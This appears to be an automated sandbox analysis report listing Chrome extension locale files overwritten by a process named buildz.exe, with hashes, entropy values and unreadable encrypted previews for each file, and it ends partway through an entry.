.G...=...2.........:%...s!#p d..)b..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1217
Entropy (8bit):	7.814054942331737
Encrypted:	false
SSDEEP:	24:Cadi/U3w19JRTgw2EfpRwHY9JN3Pjtsm/UlpiufpsuRQCdBhcPPSUObD:Cp/h19fTgwrjfjtLMSufvRQcBhcPPGD
MD5:	D6EB86AA2E2CCB0C6A008DA4593ED6C6
SHA1:	04C5396B0C0EAE9F6E2DF5664EC047E22335C51E
SHA-256:	1A7088B618D515E3E94381F1515C266BA0FD381EDF6B2CC1B7E19DA8A4366510
SHA-512:	3507E9D7FB789A6F1E36EC00701FB1CD70883FADCDA40F04B2B2926723D530FECE8C69E1B17F58221FA36CA34698604D75AD328BA7DE0DA996F6E4D974BD6C1F
Malicious:	false
Reputation:	unknown
Preview:	{.. B.ll..<!..liy9.P.n.....<...b.A.L.$H. ..Q].[.....X.S..Ty....Ec.^51..hx...M`....D.f$..VZG..Z...e...r.i.1....x..5..w.......i.......m.3K<.\|.gK2...W.SO..........T..dH...J..V...../{...g.JLk90.....t..-.Zm..@$...Z.k...=...P..s...q.X:.M...p.rx.'+....y..1.[..B..a..?B.<%s.fi...@.;{.W>'0G...q....r...].2...y...<9........K{0..Q.&.F.3....]..RFp..k.lY.F..P..^6<.1a...U...^uh..A...3.Px.6..k.<..FK.......v.3+..cm.U..0.@....%.A.$.......BDW..G.{Pz.Gac.4.K..D...yKv..r..1.vo...."6...1<...&J...mV..;G...u..i.......C....C..7....1)z..'^yH?.....6a8.....Y .........6...Aps.8 .(..H...Z)]....R&k.a~.S[Z..(N.f.).W.!8..j+s...:Qo.cU....!A..?....Y..[..r.dJE...d.....+A.C3Xs..E.L..K.#Z..h.....~.v....L.......91....g..f..03.82.....0..l:[.~?."Z.h.Y.....n...Uq..0qX.>.U^..wjA..Z...CGJt...&..U..k..9cZ.{.*-Z.)..1.J.A.0....;(."x.......u...K..E'.].\|./..5.J(.h.iD4.......j.<U]w...9.M.?..h..o/.@.-+.,.....~N.rI..kj;..W<.,p-/.70T......z=.N.2.^v......:%.D....-.T..j.....e^.H..pI&q.7.........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1365
Entropy (8bit):	7.823845073200793
Encrypted:	false
SSDEEP:	24:MxrTmL6o8yiAD1w18adkEyNJSMQeE5Dp01Es2jZVAOEG3J6U/0T9lX/qD7TK7/6+:gByST6PSMQeOa1f2jZVAOEG3J0L/qDSX
MD5:	2DA3ED85238AB2335F9C18ECF349AB99
SHA1:	AEE818D76ABEFDAC41BA9B030F0847856973680E
SHA-256:	A9985D126FD662BF443FBDEC4600EC6D222EE99940237D4EF55D3A1F2BD93526
SHA-512:	54C9AEE992D8BD41034A76B821D43D7DE334E556DA01D2456D8EF95982B05A1F83902B9D4703E66ABB2771884B36ABA4ACE5E159F9832704D446B48321F1155C
Malicious:	false
Reputation:	unknown
Preview:	{.. ...G.6.HI]..t..nZRw.8..N7.p...p..:YF.F.y~w\....}..{.bD/..VR.........d.zHe...h.k.O.v...0.._.3h3yB)8ex.../.....~.-...-`........d...`.Q....jw.aAK.....UO-d.p..gJjk....j#.v.vCx.H..?G...pO...........e^G..L/Z9.....G.0....$9..P_nF.....m..1..g..W.2r....H>........^..........(.gw.h.%.`.sY..`....~Z...5.`..>...a...kU..}2...+]mA'...n..1.42.P..I.B.. /........!}.,.....m.GwIn...9o._w4$2 .X..rt...}.v.b^U?...h.........(.dJ.h0..2....p..?2#.../.8.j.....Q.s.@9F..,4H..3....../-u...w...\|....!R..w..>+h...K...6.9@...../....NP.v.Q]..#.....g...E.1...\|..g...p...F..{..<.Q. E...L..{..J...W.l1..u.ba.F..I.p3......G...{E[..}q...O..M.k....^...m....O.)v.....9...2...7....Zt.iR.4......t.....d..W..N4.L+^.V.p...q..{O4r^/........I..,v...$....S....>M...f<R.w..3.@;..t...>......k.J.(..H.?.o5.....#.-d..\.P0.-..^T....j..j.&4Qm.Z....g..K...T.3.G...._.......Z..R.....[..........R-.W....t....Q.ep...z).y...HA..h..Y...G.4..J.2...........;.....9..D...p.v........Y....[.;....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1947
Entropy (8bit):	7.904040488501723
Encrypted:	false
SSDEEP:	48:NGa3EdkGs4R99HDFfljqh4L52G0H4q+SzDRZnb4/DdiXD:NG2akQHvLYZH5bb4/i
MD5:	F9F6C893D51D9A7C876DF8DDDF18202F
SHA1:	026AA2C0B265CA033152C8A9C49E89AE7757ADF7
SHA-256:	01E119F90A5FBAB79086F7FD2D0AC1CDB9A3CE2E867F9FBB878A186F6BF999EF
SHA-512:	CB96D7D93AE8B346C83A51938EE92BF5529945C122A6ACC87D887870A8F9BB82BEEC3445819DC5F7874ACA9374CA05D74ADC9C765599DAEA4A8AF79ABCA35159
Malicious:	false
Reputation:	unknown
Preview:	{.. ..m...Jb3..'j.4.'...e.]._/........f...)Qy...l..@GG9..Zt......By...$..:..+..E....Q.\|x..^.p.Yw.ev..;.LJ..U...a(z.q.!.....<..4h+..k....H.>.....sY...c....o.yD....7.s.fB}.k....>.g..UmlM..R...9..E.&+s.%...Oj..C...@.`@..".f..F"..c.6.3../>........P.........9...s.e?.c.q...E.9..>...4..h._V.g....>..nL..O.Zz.....J.5.J...e.....X=5..p.Z.w..Bl.._.).cU#.7......c.........T}.L;.21.n..C...)....r.#hk.W..:..M.b..J,.0-.....aGbN.+z(........3z.P.......G`...k,l.....y.0..Y....Q."YRuO...'a....W..>.-..q..:...s....I..1...J..\.7=.VP.O.$?...a..g .-!@....M....<#.gd...].bDp.Z.\|...7Z.`ku.#...g...FoF,wf.....=0...oB.]..Ls..U..?...K......k.(r.....5..~K=.....q8e3........".{5\|.........(o.}......M./.....MToo.<...Q"j..dT:..%u.?..........;. (.<..0..^........J...j.`..tT.,}....u.>P.g.B%..$Y..+._...h.../.a..i.-)p..\|N...#~...Xy{..-N&pa.n.F{....J..X.....).}...~.'.`.E.M>....\|.0..?".?.]p..-d......~\.D.nU......^v....o..K..&.D.G+QA.F"....Eu-.....S..........~...r.^..*n.6..-..m%..[.M..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.818976324123349
Encrypted:	false
SSDEEP:	24:fj2EMhrMx17ceCie64rxwfylmBPVF2g+VYcuRRkVmBq0jbD:faDhox17cZE0wv1H/+VYcmB93D
MD5:	22978FACA60E54D543774BC23CA1390C
SHA1:	39F8D3F279F6A73EC7E8D491FAE672155D030A14
SHA-256:	E52D4D9FC61E162496E70FDA8FEF140A47489DF9BD63B9F7AC7A771CFC8C16C6
SHA-512:	19C5DED75C0D1F2BBF4C84C2C4DB195A423B6C26A4F1DC2A3D3D187F1791335A6BBB38529DEE5489BDF33BA8C40418C4C4825BE9347A3D5CD96F93B187FD2FC6
Malicious:	false
Reputation:	unknown
Preview:	{.. ..TRz;u.).P..ik...S1...9...&...........X.......f..W..v....S.e..-...e.oS.o...8y0}.;.lWb......R......{.I..]...\.&.r.i........6..T).[.,xN}.0.f9.....A....Y...y..a...{...K..%.z..U.e&J.s.d..s.'...{..2.4..s..zF.....!_Z.Y.7...!.G.,....b...&n..69..._.T'.l..J..v$.s........=..3.........Am........>\.......qO Z..2.53`\|IC...iA...M....SSnb...K.,n0.kC\.gv..#.,.[.........KxJ.;.$..J..Db$.%g...a..,8\.5F.>.PZ.M.....O.Mt..v.FH...3..........l.=..X/.n...iH.o.......k....@='...'Sl....o..f.s/98........;.!.J3.C..4k......m....2P.^....r....R.~kZ6...~..u.JC...QR...).-.....;n..#.h[Z.'.Uq...e@.....z...w5.'..G.....f.ph..6A......Or...+..$.oV.3j.]....H.bD..].G&.A.9.......w..I........@....Z..................\P../..0..q...........F.z....]D....I.T....ut.B[.;..R;..^.lo...V.xM8v..n_r.B\|.zQaAl..&.B..yqK..sZt..q./.Ez.S.B.9m.!.......$.....qty..2.TL..2GM.oX,%y.(..0m...w."....y...`~Hn$..[..;...D6.J...CO..7..2{....CA../...........g......D{G..._-.P?.G..Qq..%L.YJ.1.R...y..E..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.838918284514664
Encrypted:	false
SSDEEP:	24:MMg22mR9ZUwvD6hdxoe/TDvRpNwOns9ZW4Y+rOtPkbD:nH2DP/TF4o+SNtWD
MD5:	CFDEA8827B8CFBCD70805D82691CB412
SHA1:	4D7E472220A19965980AD5230A4995708AF51016
SHA-256:	CBD0B1C99D8C931C308F79B9D0816DD1121AD4643692D1B88ADA2E828039E28B
SHA-512:	3F6F39BCF5272CB469FB443E5D3BAB50E1963B789890D2A9D68B3BB3577492EB7055CC54B360F56FA87101CA130C8B0F15BE8162F0A3EDF62E9D89A497E092EB
Malicious:	false
Reputation:	unknown
Preview:	{.. ..u....B.bb+.......f..........T,.P.f.\K.28..........~.y.../...c..+.b..U...34....n....2..T.[.m.Y.....$Ok...D}z..xr.....Z...v...M.-t.yn^.j`V...4E.h...}[....$...}.d.@.L../s....E.."C......1'..9....s.(.P~..r.73.^).=>.. fY/.>l.gm%.a..)......P....DM..t.......$.:.0.. h...;..s.1.e._y}RF......q[.$.2'..V......J..#.....g..7...PC4).R.O....,.7!..../8$.%4..k.,._..V.....r..R3.U..[...0...8.~.U4.!$r...4@.......).C..CA\.g1....`R]...7<..].T&.K.....~kd..L.."L...Pc.m.jVM8.....K\jE.Et2..........<..2.....=.-......Bd.y.{D-.C.f.....6.B..'_+.."...._+....#.+I...F.....q.A...!..mB......].....W....p.g..W... s..!.c..{.......}5........2....)R6F..1...?.....t).'3.$.........>.sf.h..Ny........[Zc....2.t......I...RTXp...._."SUu...d..t#.f%71g....N...9....<....#.S.....%..kaO.4../9I.....~.....Qp{O..G\..........k.r=.. C...ZwX..-..u...L.f1rE..\|.}.....D.E.....L.3...."....]Ln.[.Y...rGk...6<mwx .......l.....".....;.\|S.o.x,...J......n.W...M.....0~.._..p..Z]l.F.+.$

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1182
Entropy (8bit):	7.836368516506233
Encrypted:	false
SSDEEP:	24:9c5VKynmR/aLVp+dGhCD910EzeegBkpeGSCWtQskFliLtGVbfbD:9cPtnmReD+YC4EzeRIemWt0KRGVbDD
MD5:	A8B58F06E8EDD8EB91C13211DFA38D35
SHA1:	5B2541D7B8190550567A1AF46E0DCF82EDDB2792
SHA-256:	16287F5AE98C35F4EA02CAD3E2B604FAFA41419D54DE8C07F7D14DE5F038113A
SHA-512:	908B108D6F194973E049B2F2293DA75D05E7A7B1B68AAB7A2F46E965FAC6BB0CDDA9B2734092539984D7B3B2E0E70CA4AF46FEA66B79A38CA04894FCA4E2AC65
Malicious:	false
Reputation:	unknown
Preview:	{.. d^......`Y..4#c....E'.M<2c...e:..(.....0+.7.....,..g.t..?"..V...H.........,DG..(x.#4.#..k......!...Ii.W.. .mD...K..W_ok_.\|..C2.....I..Z..]..'.+eu...'Z]..</D...[A....Z.L_M._8c3!Zd.vtrR........G.>,.-.;z.Y. ..;..........>1g..S.......!~9..M.._..9....5.-&......u.(.m....+.q.E..#.O..k.KD1m..-p.n..N.j......v..'>}..R....3Pz.1.....Hx.....<Al..H0...J..2...uMk....a....rNt.Ql^s2.Z...T..mc..0..IR..^......{.. Qd.0..(....C.P].....g..3^".e..e..am.5Y...o\|..>j>gK...1:...+..;.P.....5........S...V_...E.J.....u>.?~......!.G)..j-.?o...9.J.X..aE..}.B..@fA?..}..J..{..?2.M.......3...eVA..Vi.o.J....0.<.......r1.La........c.>. ..9.......\........+.M.%j.B.R...J.........{..+....1$z..,..h..i. P.SP.:9{..]..{UUo/p..F..........b..!@z...j......._...L.z_........Y3cL...a....0..J.......:.Iq..o..sVSY*R:.)....g#.F.#..u...Q...N..w.sy..B....SwO;.._...s.qaJ................Lg.J.1.+.Y).....v......\;...+\|.....[.~......J..3....n.S."2..6.k3r.&....jR.q,....kB.sp......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.888710385107464
Encrypted:	false
SSDEEP:	48:ATDgKG9kfS9gGci0wfJKTfbRWc1CD20NwnpKyqD:ATDgKHS9gG90SJiN1Z0NKUyi
MD5:	C32A0DC7C48E70B93A7E7E19C31D1137
SHA1:	D78B7636298B2F9EC858F5585A25D2DC7AD5EA99
SHA-256:	4993F9FF4165F320700F598EDBF1B9A7F68CD088E53D65A1CB8CD18278DB60F1
SHA-512:	391AD641C8C6CE1FDC59E214354374D6B059FB61912234048CF45909703C75590FC64419E54815D6E0774BA48E093749708FD4CF6BBDA3137473D4184AE7F4D2
Malicious:	false
Reputation:	unknown
Preview:	{.. O..I.A9g.(x..y...&.].p...1O.e.K..-..q.w.C....Jvk8.s9\|...yKy.x.@n..Sj..o..:.........A....v...o&..tS.3r8..>PG...&.u\|d.01.78.X....5...{Q.Y....L....p..D8qdy+..JlyMw,........n.L.d..z`.].I.Z]2.....uY..i...U..d..c...q.K5.C.N....y....e........6......n...).A....]V..<....C.....8..X......%...[.B.lJs....F...Z._..".>.A.......-[iI.U.\|..-...%...~..c2..6.o..M.TS_.e1....:.....^...U..S</y...]..e..V.e._.vYL...Yw..8V8FQ.h...y.....M.....i.."-...)..l.s.3....[...K..@...\5.K.......Z.^.b.`......<.E.NE\T.0.rU.,c--.&[#j...`.<..C.Tm.@.I..E...KI.b3LW7..............Ft>8.~ ..3.P.'+o.B..k.......l>......1..2.+8\...L.8...$.....J.P.....#A.,..U....p.."..IO.'.M..t\|_-.../X&_~....Q.A..eoM...S..!Bx.S&n4.rA...-)FW..d.G..a.#.....C....k.+...G..H.R.....i'.^.g3..x.x.\|.-h...x........fm^.B_.mT...0...[I W...um..R.E..-w.g.7qz....5'6.+w....R...G..#k...t4.>.....3...VR..C0..a9+.Nq-C.EKX..]2.wB}o5k..c.X..^..d/=\|k.D.......M....].......8.)\|..M.q....T...].....cG.(..,..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.860439267217797
Encrypted:	false
SSDEEP:	24:Y9tcHGwhBMJlrHCr5/jqA/sngfHiKLyOwAgg+6QATFYUbD:CcHHMJlriN/GufVbwmQATFY+D
MD5:	FF9C5CC142C635BBF393569E9DC07D0D
SHA1:	4526987CF8990A73C01AB399E32DCA5493586E51
SHA-256:	C676468D77043F17E8AA5E194746A37F7DB76CD271FC05636B22796249FAC5C9
SHA-512:	0189144B014496F8D408A9DBF5212DA4E31B724E42C45CEB10B9565B1F8C409357BB50838818F9AFA8FCA0B2E64D0A0E603A48FFE5410C6643A59D94F8423426
Malicious:	false
Reputation:	unknown
Preview:	{.. .o......k.h.p]FO.,.oRO...;U...D..q.......jY..Y...c.Z.$.."@<..2df...\.O.P..x.....x;Ci..a/,9.0,.<.X...N..r.#.........A....p....-...._>=.9..+/..!....h....1...k..<K.....//.k.'..9u.V...]...\...VS.-e<....K.b ...D..[.".`....5F......YD..l..$].}gb..\^.#(....&.(+M...I....Mm..[N..l.tr5\|.C!...):&..g.DY.Z...r.#.H.e..TZ.l......].n.......Ql....>..,.M...7...?;$..{.(]..1..Z.TIz.G..=&...%...Wn.z6..m.......Ubif\6.<t-....N<....OP......{.c..8.rZ..i..8..........-.(.B...\|..^.2l\zvd6.u..dS..1.A.!2.]R./.$o..I.H6..\|.=...A.0......dx)...i....3..&...D....}..Q.....LN.......wu.ZV...y."~[......e.`.XvR.FiH.3...N..........p.=..K!..%$`.v..J....Hw..d].....+..N Cj.HAD.;... .0..."...^....{M.....%Jy..s.K.).=;....,?]k.....9...K.]...]>@.x..yF.0p..{ .....s...\1/k`.k..$..l..5.!.q.4VM.*.U.....4.w3...=......8r..'$...o.}I...._Tt...!..^:...0..j.J....c...1..O^.}.zb.....g?.....&..G..a..^..Q0...i.....%x.d....Q...,.4\>\|.BCyvXI-t....K[.Wh..,.[..M...w.._x....m...a....X...$.....).e.....E

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es_419\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	7.839482345789668
Encrypted:	false
SSDEEP:	24:SN8G7e+lpi7MbOoFJ28CtWLUv/TtlAgulkKkpZbHYdEibD:STpiYbOWpCtWLO/TtOr2KiJHKD
MD5:	E5B539EFB278EC2B24E2F2A63BE52167
SHA1:	E0EB805FBAE8D168DCD4DCAA37AEDDE06C37005C
SHA-256:	6079D14F0D2FBE7563730643047010C5FD33CCA09AE19554F76327F8B19A72C4
SHA-512:	099F09C5CD2E89308C91CAE5D89926F3C1144389732BE111FF5BCB12F3C298E138B76462C52763EFA9A093E246E1CCB06B947222D24FFEDA61CF7CD6BAA8D86B
Malicious:	false
Reputation:	unknown
Preview:	{.. .,v."..e.....E...]p.H.).H0...kt0m.(&.....9..p.yf..z...{....y..X.C~..i..\.LvR....O..E.......(06..{..@.......P.k.6.-0Y....%.P{........a......=.S...z.$...#.t..7%.B....&.....b....\.R.uut. .6ba\.Yd...\|..&..cK...^........{Z...D1.'..UQ..l....]3.....9..bW "<..Sz.'G...hcP..>........&)wWz...p..K]w...<_\A).0..{.. .<./.0...6...)..;..~............P..@..%.S.e..q.YUYU.+;...-.....A.......6%.T....&..%.v#..\...0`.\...v..q...`{q[..TQx....O..Q .....n..n.p.2.........\....hSRM.y....t....g`.......'.[..s...SH:.2)M&..w.%..Ke@...M@^.Sr....v....g...b%..R.A6^..f.k.N.l#.Y.E...<.c u...\..1...72.....\|.$..W....;.P.c.....@<...'....w.$y.[o...m.{.UcoY....8...&&.n12.f.......z.Vp.-......:.g....k...hH3.k..)....(QH.=.=`..0WS.....?w...I.>2....z.[.n]W....b@.....8..>#.9rnZf...M"..0.R.4^....U.6.v..P_.B..B...X....rdSFi...g8W.\......5.3Q.......T.k..4.....-...%.u]U...{!...w.HA.JT.]S}.k..m\E.C.9...7F......J..4...5..F......d9.H.4w..{.].N!.c..r..=t....wD..G.mK.B.l...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\et\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.818599563773427
Encrypted:	false
SSDEEP:	24:hDigfahd7yo9GKZKdVQN6KbE++tGYXU6kILM/5ZxBGgvojLhcX9g7FnzbD:tigfaquGKZKAEM2GYJkILM/7x5vojeiJ
MD5:	2E787A69BBF1923AFFD01928E8539C99
SHA1:	0B805FBCFFF657420F30774006B22B9F2C51FE90
SHA-256:	70268DFFE7E1B0920DA7E10DC753537B53A28B09363FC38948D9595486297503
SHA-512:	3E8634949D002AEAA9CF48531C01158EF3BB9C7F8F6156ABAF4366C0DA7BDB8074569EB8E872F7B288BD39024F1A3E31EFA538F09BCDE10F206CE7DB9C152358
Malicious:	false
Reputation:	unknown
Preview:	{.. ...^..b4..}.(..s.....l.o.-qL...~\a.d~...I.,.ak.xo.l.OF.-..V..6O".gK%...C....D...U.z...!_c..M... .:.b.lq.K....?k.s..w..8.......s...I..2;.3p...ct......~f...{gs.c.6...'s......k9...%..(..J..=....y..2Ha...lU.3x7..)..P...X...1M1......D..o.#.gA.d8.. wL.............p..=.le1..N..MV.a._..<....cP..J.~.....F...(.K..}..Et..$.q..g..i_. ............(.6...........~...{....'XF..d...Z.a(^[@FH...#.b..Q[/s.PsR...Q.g.f.....v..?N.............H..6'.I;{..&)..C..G..j#...@m%C....F_6)N...N.P.zT...`.8.9.u...@?.sZ..v.JG..?..&7..N..:....bp._..r...L^......qm~.<-.h[.;.b.<]y..^.ilg..,.....E....:fJ1....@.<DD..((.^B....o5....I........"...,..$.G.0nf..;....T56....@...`>t..Y....(.4;..lI...EBtkK......M.r.fd<S..,Gu..s.?....f?...XQ.bv7.aF.>w..OWT..{o.Sz.-X...,.O..^g.8.....L..4>l...~ .w.E.y..7..x@..o.o?....as.S-..JMp.,.-.o....E..i...o.S~...SbL.......U..?7.......c.........(.^M.LYg5.Y9......_0.....6]..<.3e.?E....^g!.L...\|d....n..L.c...g..I......N....2..^T0.4.8...u7N>e1..2

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	7.7943322338461485
Encrypted:	false
SSDEEP:	24:Yk/9lQ1RijOCF8/HD0Hys46Jz9MfUNcDpwokKFhgXbD:YKzQ1od8226PMffDKoBF2rD
MD5:	A9F856C03A3167897EF28EBD92661EB5
SHA1:	4832258FE7F45925A464AAD6574BF868B097199B
SHA-256:	B4B9CECA936EB88D7F540C76F53AF53077AA90B53789740BD0941E900FCA9B24
SHA-512:	1B9266C257A3B8FB9E0E5C189BCA36B47B3D354D966CDCD408A6F5355D7B96C24ABE5D765C36681653AAF3E832B0B2459982F4BA88FC9F98338CCE39A51B2F74
Malicious:	false
Reputation:	unknown
Preview:	{"creh...r.[.a..E@.c...oc.A..#..u...x.`..=....?.O'...BM.k....B.5.....5v,Im...w.s...$..p>.f.K..+L6.#H._..[.oF1M.....^.T..QA1..J...].\.:J..^.#>1.B..E.#....B.......Z...rp.xY..r..Z.^....?..sXQW.:/.-.7.....1w.Gb..Y..`.W#7...`.j=..N..n.H!...A.h.7....m.-.f.}.Ym....... EbQ.....Dh......L....M..B7...o........x...#....I.%1...7.(x{..'..#.4.x.L.N..m/......6.A#."U..D.b.....v...^...s...?S.`.G..._..n...L`.y..#J8.-@.Q....ZdL....sA-.....o..@......M&i........{ZJ8n.....{.F1j.....>....=.... q..Bh.r^..i<..;{TO.u..4UU..'(_..4.....8_....G@uM..4b.3...x.t..7......G..]R@.`.0..5..V.(.....=n.D]..q..=...^0G:A..5...y..Z..?.@P.A.it.{..e.!N4.>u.9.......u..f.tA...Bys&<..wn..!.h.l..s@..2...pfh....p.-......M.J..e.x....\|m.....4n..Q.:..9.}..Xx.Q.}.......?nG..7......#be.jA.f.L.lmx...E..P....F..qol2..e......q........Ff.v..l...RU...._e......6.]..y\|.....o0.{..F..n.Zq...,....c....#.v0.".......N.5*.m..q.}.2.o......sF].....A..G...Q.f8.Amh.o.......W...2.R\|Y.g...z..y..]=...1f....}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.885923767359873
Encrypted:	false
SSDEEP:	24:gLjJpsZUcJXSY2XNN3gV8Pv4jY6JFB/hPyIHuRzDfvYJpZciTxpIpbD:gLjJpsCcJXS173gVGv96V8zDIvZfPIJD
MD5:	209D800F252317C9F916D173A51A7375
SHA1:	8B9FB42D3B75789AE6B0F8EB752D22A3F56B5E26
SHA-256:	DA3B85544BE94AB7F6D83E04DFA65A0581D1311D3B00E4E784E08E2A31EE72D8
SHA-512:	6BA643170FE76480C733C16EFCB6CAABE14A814723580700CC91E6F6439531A606F5CCD67A88865D51BA9E41D049EB44C3D4E867521FA0E876149283F0BEAD96
Malicious:	false
Reputation:	unknown
Preview:	{.. ...N..(.&......=..k\|H...Q.....nz>H?.UQ..Y.....(..G$..Lb.. y.."....NJ.K.L....y...A..in...:.........t..s(9...JDrL9.....9...f..........96ow...?8..M\|}B.C..s~..c..4.\|.......'_J..(..>~...a.=.3].A`..ln......X.>.I..s.6`....h.E.o.......6.;e.K..;U... 0'0.Fy..pz...cW.(5Og.j..)0..JYW.......K7.M4A,.1..3L...M.....F.....a..3.........eN.>Kc\|.m.j{.../.....X2..........)Czd.\u.....T>.g.....3S.i...c..ck3..v...."?/.HK..8....e5PQ.3^....T.?...$.?.\.x.a...'./....T.....V-.o.u......4.&1_..4..V......._....oA...Z....#IG+KA5.b..P..+.e..........0.-:....M\J.....}7..c.+...2...X.36.a....R...L.6..>.It6L.b..........Q/...........98..j....A. .}[..#Z..v.-)}.U...v.RA..m...{=....eb.)s..R.\.$"....(....~.....H..(.ZrJ'..J.3.Uh!.}.e6R)'B.....%..&Mc.-.L..X......u/otV1._.....j..>.yb..g......X...(\t..9 ..-.CFQ..+...{p.3.....e@..W.....w}...a.0........2#....>...=.....Z}gW.....:..;..V.M...i.he........^.o.7."....b!....<.s.$.<...Sf...~q..a.;..TY.e.g^..............4H..@....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	7.822425811380795
Encrypted:	false
SSDEEP:	24:VVaXZ7EYhjgxzGlNgS8cVNtY74ETPoRR6l5apkbD:WXFEYhjIzGbgSzt8TUR6l6uD
MD5:	A37E96487480CC0407D9A5B07AAFA9DC
SHA1:	038269685864E02E577A9FB977A505FE36AEE3AC
SHA-256:	789C4110A1CA7B79DE75B2A69E7BDF015991BB00D0BC0A782A34A7C5F2D8807D
SHA-512:	E9FFDC3A2672B20759090769C8E4827A29C2A3A6C2771FE0993B600FF912BAEC55D63C45BE297D60C62A54A3EB9ACA9E18442A1A00002A2B2CACC40334EEB5BC
Malicious:	false
Reputation:	unknown
Preview:	{.. c.Y...[.L%.o@.J.SE...8..m...hg...j,....%.kQ......}."......:......D...~-qf[..^...Y..U.....D[.V...:.<v.[...B....Y%...C...RC.....'e.4.....An.o.oN`.)....7..6I...][.y..".Z}....S..a2.j$.. 0.[....'U.5t...j....-...:.$..x.5H.xmT.T.].0[s......!AU....;...F....5tA..d........Hd5..\|....4...L5.........Q..tN.;.tN...d.x..@..J...w.UZOG...h../(vjr..v.G.t......D.b7..$p.O...nRlZ;....D......q.].@.j7k&i.@7.....FY.....d ;..\$.d.3..,.CW..{.....l.....I....xK.....!....K[Y1...5...;.....L...!..9..".D...h..B...hM5..h.(....C.....Z.HJ......$..d.~.Yu.,I.d.<H^F..<..T7C=.......p..F5Y..Jfh)E...M.n....YT..t....N.5...r....e=..;A......g......0.r..3J...RQ..,N...#vU.....u...Vh7....rd..m",.p...U/l...'fdv.Cb..,.gM.....P[.Y~..r.C\|k.S.q.l..E$..?.....h..g..OS..>..vo...mBw~..R..bx.....M....Tr....{.....{.N*...K./Oo._}#V.....e.=/Y..J. Z....7....A<.S........Y..?.d..C.lg...U..A...0)o....L.=..`. I...2..= q...m....].G..F.c..2A.ov)g...mC..^<w.....t'....A=.MK.\d.;...UK...5.......F..{.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	7.84448357023443
Encrypted:	false
SSDEEP:	24:4NNbY99vkjCbAMNsZx2cBwAKxWMmEofgFl6HDo94pzrbD:4NVQxkCbWTOsMxof9Do94hD
MD5:	6BC7C85CF270932A5BC25EF79A299635
SHA1:	01C517CBF1F8881F1F5C15FB59946B242813A056
SHA-256:	A7A7D0AEAF518CC2FDCFCFC496E2119B49726FCD39ABD97C939D7B6769898408
SHA-512:	5E4247EF16543CEDDCD78376B46A046C1B857F8CAA7F12F584FEE1763CD4AE1FEC10300473EF653244203F31D9CE094C08D41C80058FE5CBB2960B1F8F675C4A
Malicious:	false
Reputation:	unknown
